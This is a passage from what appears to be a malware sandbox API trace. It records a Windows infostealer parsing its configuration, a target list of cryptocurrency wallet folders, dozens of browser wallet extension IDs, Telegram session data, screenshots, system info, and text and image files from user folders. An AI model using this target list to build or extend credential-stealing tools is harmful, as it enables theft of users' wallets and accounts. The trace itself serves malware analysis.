Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4340 [0259.637] LocalAlloc (uFlags=0x40, uBytes=0x21e8) returned 0x6bdb00 [0259.637] StrStrW (lpFirst="wlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.637] lstrlenW (lpString="wlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4340 [0259.637] LocalAlloc (uFlags=0x40, uBytes=0x2268) returned 0x6ef5a0 [0259.638] StrCpyW (in: psz1=0x6b9720, psz2="wlts" | out: psz1="wlts") returned="wlts" [0259.638] LocalFree (hMem=0x6ef5a0) returned 0x0 [0259.638] StrStrW (lpFirst="wlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.639] lstrcmpiW (lpString1="wlts", lpString2="libs") returned 1 [0259.639] LocalFree (hMem=0x6b9720) returned 0x0 [0259.639] LocalFree (hMem=0x6bb910) returned 0x0 [0259.743] LocalFree (hMem=0x6bdb00) returned 0x0 [0259.743] StrStrW (lpFirst="wlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger 